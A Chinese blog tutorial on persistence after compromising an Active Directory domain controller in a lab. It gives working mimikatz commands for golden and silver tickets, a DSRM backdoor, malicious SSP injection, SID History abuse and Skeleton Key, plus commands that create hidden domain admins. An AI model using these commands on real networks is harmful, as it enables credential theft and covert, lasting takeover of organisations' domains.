1. 程式人生 > 其它 >許可權維持專題:域控制器許可權維持

許可權維持專題:域控制器許可權維持

在上篇文章中講了維持Windows作業系統的許可權,這篇講講在獲得域控制器的許可權後,將域控制器許可權持久化的方法

黃金/白銀票據

首先來說說耳熟能詳的黃金白銀票據吧

Kerberos認證

在學習黃金白銀票據前,首先先簡單的瞭解一下什麼是Kerberos認證

.KDC(Key Distribution Center)金鑰分發中心。
在KDC中又分為兩個部分:Authentication Service(AS,身份驗證服務)和Ticket Granting Service(TGS,票據授權服務) AD會維護一個Account Database(賬戶資料庫). 它儲存了域中所有使用者的密碼Hash和白名單。只有賬戶密碼都在白名單中的Client才能申請到TGT。

Kerberos認證的大概流程:

當 Client 想要訪問 Server 上的某個服務時,需要先向 AS 證明自己的身份,驗證通過後AS會發放的一個TGT,隨後Client再次向TGS證明自己的身份,驗證通過後TGS會發放一個ST,最後Client向 Server 發起認證請求,這個過程分為三塊:

Client 與 AS 的互動,
Client 與 TGS 的互動,
Client 與 Server 的互動。

黃金票據是偽造TGT,白銀票據則是偽造ST

黃金票據Golden ticket

原理

在Kerberos認證中,Client通過AS(身份認證服務)認證後,AS會給Client一個Logon Session Key和TGT,而Logon Session Key並不會儲存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以偽造TGT和Logon Session Key來進入下一步Client與TGS的互動。而已有了金票後,就跳過AS驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。

偽造金票的場景和所需條件

黃金票據的利用常用於許可權維持階段。假設這麼一種情況,我們已拿到的域內所有的賬戶Hash,包括krbtgt賬戶,由於有些原因導致你對域管許可權丟失,但好在你還有一個普通域使用者許可權,碰巧管理員在域內加固時忘記重置krbtgt密碼,基於此條件,我們還能利用該票據重新獲得域管理員許可權,利用krbtgt的HASH值可以偽造生成任意的TGT(mimikatz),能夠繞過對任意使用者的賬號策略,讓使用者成為任意組的成員,可用於Kerberos認證的任何服務。

所需條件

1、域名稱

2、域的SID值

3、域的KRBTGT賬號的HASH

4、偽造任意使用者名稱

(獲取域的SID和KRBTGT賬號的NTLM HASH的前提是需要已經拿到了域的許可權)

利用方式

先前利用mimikatz拿到了域管理許可權時獲取的域的SID和KRBTGT賬號的NTLM HASH

privilege::debug
lsadump::lsa /patch

現在因為某些原因丟失了域控的許可權,但是還有一個普通的域內使用者

在普通域使用者中使用mimikatz生成黃金票據.kirbi檔案並儲存:

kerberos::golden /user:administrator /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /krbtgt:ac923e1d7f56e0adf967356b8d41953e /ticket:ticket.kirbi

/user:需要偽造的域管理員使用者
/domain:域名稱
/sid:SID值,(這裡要是使用系統命令的話抓到是這樣的SID,最後面的值代表著這個賬號的SID值,注意是去掉最後一個-後面的值!)

/krbtgt:krbtgt的HASH值
/ticket:生成的票據名稱

第二步用mimikatz清除票據

kerberos::purge   \\清除票據
kerberos::tgt     \\檢視票據

第三步用mimikatz匯入票據

kerberos::ptt ticket.kirbi

成功訪問dc

此時嘗試建立一個的域管賬號,命令執行成功:

net user aaa !@#qwe123 /add /domain
net group "domain admins" aaa /add/domain

銀票SILVER TICKET

原理

白銀票據就是偽造的ST。
在Kerberos認證的第三部,Client帶著ST和Authenticator3向Server上的某個服務進行請求,Server接收到Client的請求之後,通過自己的Master Key 解密ST,從而獲得 Session Key。通過 Session Key 解密 Authenticator3,進而驗證對方的身份,驗證成功就讓 Client 訪問server上的指定服務了。
所以我們只需要知道Server使用者的Hash就可以偽造出一個ST,且不會經過KDC,但是偽造的門票只對部分服務起作用。

偽造銀票所需條件

1.域名
2.域sid
3.目標伺服器名
4.可利用的服務
5.服務賬號的NTML HASH
6.需要偽造的使用者名稱

在域控中使用mimikatz獲取相關資訊

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

回到域內低許可權的賬號

先使用mimikatz清空票據,再匯入偽造的票據,具體偽造票據的命令:

kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /target:DC.hacke.testlab /service:cifs /rc4:2c7f354c971b062e1e42f12a30709a7f /user:aaa /ptt

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服務賬號NTMLHASH /user:使用者名稱 /ptt

其中的使用者名稱可以隨便寫

服務型別可以從以下內容中來進行選擇,因為沒有TGT去不斷申請ticket,所以只能針對某一些服務來進行偽造

測試一下,成功執行dir \\dc\c$,並且可以建立域管賬號,複製檔案等:

金票和銀票的區別

獲取的許可權不同

金票:偽造的TGT,可以獲取任意Kerberos的訪問許可權
銀票:偽造的ST,只能訪問指定的服務,如CIFS

認證流程不同

金票:同KDC互動,但不同AS互動
銀票:不同KDC互動,直接訪問Server

加密方式不同

金票:由krbtgt NTLM Hash 加密
銀票:由服務賬號 NTLM Hash 加密

DSRM域後門

DSRM介紹

Directory Services Restore Mode,中文名目錄服務恢復模式

DSRM是Windows域環境中域控制器的安全模式啟動選項。每個域控制器都有一個本地管理員賬號(也就是DSRM賬號)。在域環境建立初期,DSRM的密碼需要在安裝DC時設定,且很少會被重置。

在滲透測試中,可以使用DSRM賬號對域環境進行持久化操作。每個DC都有DSRM賬號,DSRM賬號可以作為每個域控制器的本地管理員使用者,通過網路連線域控制器,進而控制域控制器。

微軟公佈了修改DSRM密碼的方法。在域控制器上開啟命令列環境,常用命令說明如下。

ntdsutil // 進入ntdsutil
set dsrm password // 設定DSRM賬戶的密碼
reset password on server null // 在當前域控制器上恢復DSRM密碼
// 輸入新密碼
// 重新輸入新密碼
q //退出DSRM密碼設定模式
q // 退出ntdsutil

如果域控制器的系統版本為Windows Server 2008及其以上可以將DSRM密碼同步為已存在的域賬號密碼。(Windows Server 2008版本的系統需要安裝 KB961320 補丁 )

ntdsutil //進入ntdsutil
set dsrm password //設定DSRM賬戶的密碼
sync from domain account domainusername //使DSRM的密碼和指定的的domainusername域使用者的密碼同步
q //退出DSRM密碼設定模式
q //退出ntdsutil

實驗演示

下面以windows server 2012作為實驗演示,假設已經獲取了域控windows server 2012的許可權,現在進行許可權維持

檢視NTLM Hash

使用mimikatz檢視krbtgt的NTLM Hash

privilege::debug
lsadump::lsa /patch /name:krbtgt

檢視到NTLM為:3904c927824bc89365275bde17a1f115

再分別輸入如下命令,檢視SAM檔案中本地管理員的NTLM Hash

token::elevate
lsadump::sam

檢視到NTLM為:3f57163975979b7a85ff54a641a63b2d

同步NTLM Hash

將DSRM賬號和 krbtgt的 NTLM Hash同步

ntdsutil //進入ntdsutil
set dsrm password //設定DSRM賬戶的密碼
sync from domain account domainusername //使DSRM的密碼和指定的的domainusername域使用者的密碼同步
q //退出DSRM密碼設定模式
q //退出ntdsutil

當顯示已成功同步密碼後,就可以了

驗證一下是否成功了,使用mimikatz分別抓取krbtgt的NTLM Hash和administrator的NTLM Hash

修改DSRM賬戶登入方式

在登錄檔中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa新建DsrmAdminLogonBehavior項(DWORD32位)

  • 0:預設值,只有當域控制器重啟並進入DSRM模式時,才可以使用DSRM管理員賬號
  • 1:只有當本地AD、DS服務停止時,才可以使用DSRM管理員賬號登入域控制器
  • 2:在任何情況下,都可以使用DSRM管理員賬號登入域控制器

將這個值修改為2,這樣在任何情況下,都可以使用DSRM管理員賬號登入域控制器

測試

接下來使用一個域成員機器的本地管理員賬戶測試一下

privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:3904c927824bc89365275bde17a1f115

完成之後會彈出一個命令列視窗,dir測試一下,成功

使用這個終端開啟mimikatz還可以進行dcysnc遠端轉儲krbtgt的NTLM Hash

lsadump::dcsync /domain:hacke.testlab /dc:dc /user:krbtgt

SSP維持域控許可權

SSP介紹

SSP(Security Support Provider)是Windows作業系統安全機制的提供者。簡單的說,SSP就是一個DLL檔案,主要用來實現Windows作業系統的身份認證功能
如果獲得了域控的System許可權,可以使用該方法進行持久化操作。其主要原理是:LSA(Local Security Authority)用於身份驗證;lsass.exe作為Windows的系統程序,用於本地安全和登入策略;在系統啟動時,SSP將被載入到lsass.exe程序中。但是,假如攻擊者對LSA進行了擴充套件,自定義了惡意的DLL檔案,在系統啟動時將其載入到lsass.exe程序中,就能夠獲取lsass.exe程序中的明文密碼。這樣,即使使用者更改密碼並重新登入,攻擊者依然可以獲取該賬號的新密碼。

使用mimikatz將偽造的SSP注入記憶體

privilege::debug
misc::memssp

如上圖所示,我們已經成功將偽造的SSP注入記憶體中了,只要域控使用者重新登入,那麼密碼就會被記錄在 C:\Windows\System32\mimilsa.log 中

優點:這種方法不會在系統中留下二進位制檔案,
缺點:但域控重啟,被注入記憶體的偽造SSP就會丟失。

將 mimikatz中的 mimilib.dll放到系統目錄

修改登錄檔 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 項,將下面的命令新增進去,讓其載入新的DLL檔案"mimilib.dll"

kerberos
msv1_0
schannel
wdigest
tspkg
pku2u
mimilib.dll

系統重啟後,DLL將會被成功載入,使用者在登入時輸入的賬號密碼將會被記錄在 C:\Windows\System32\kiwissp.log中

而開啟剛剛的mimilsa,裡面就沒有更新密碼了

優點:即使系統重啟,也不會影響持久化效果;
缺點:但是會在目標主機上留下二進位制檔案。易被發現

SID History 域後門

說到SID大家應該都不陌生,每個使用者都有自己的SID,相當於身份證,而SID History是在域遷移過程中需要使用的一個屬性,作用是在域遷移的過程中保持使用者的訪問許可權。在滲透測試中,如果獲得了域管理員的許可權,就可以利用mimikatz將SID history作為實現持久化的方法

下面以windows2012進行測試

首先建立一個惡意使用者testuser,使用powershell檢視使用者的SID History

 Import-Module activedirectory
 Get-ADUser testuser -Properties sidhistory

可以看到目前這個使用者是沒有SIDHistory的

在域控上使用mimikatz來操作, 將域管理員Administrator的SID新增到惡意域使用者testuser的SID History屬性中。

privilege::debug
sid::patch    #使用 sid::patch 命令修復NTDS服務
sid::add /sam:hack /new:Administrator #將Administrator的SID新增到test的SID History屬性中

接下來測試一下看看能否連線到域控

對於這種維權方式,我剛開始覺得,這和建立一個管理員的使用者沒什麼區別呀,而且還挺麻煩

但是發現這個使用者沒在域管理員組,卻也有域管理員的許可權,這就降低了被發現的可能

net group"domain admins"/domain

萬能密碼Skeleton Key

mimikatz的MISC::Skeleton,在 DC 中注入萬能鑰匙(Skeleton Key) 到 LSASS 程序中。這使得所有使用者所使用的萬能鑰匙修補DC使用"主密碼” (又名萬能鑰匙)以及他們自己通常使用的密碼進行身份驗證。

下面以windows 2012測試

域控制器中使用mimikatz注入Skeleton Key

privilege::debug
misc::skeleton

系統提示 Skeleton Key已經注入成功。此時,會在域內的所有賬號中新增一個 Skeleton Key其密碼預設為“ mimikatz"。接下來,就可以以域內任意使用者的身份,配合該 Skeleton Key,進行域內身份授權驗證了

使用低許可權使用者測試

net use \\dc\ipc$ "mimikatz" /user:administrator

本文來自部落格園,作者:1_Ry,轉載請註明原文連結:https://www.cnblogs.com/1-Ry/p/15647031.html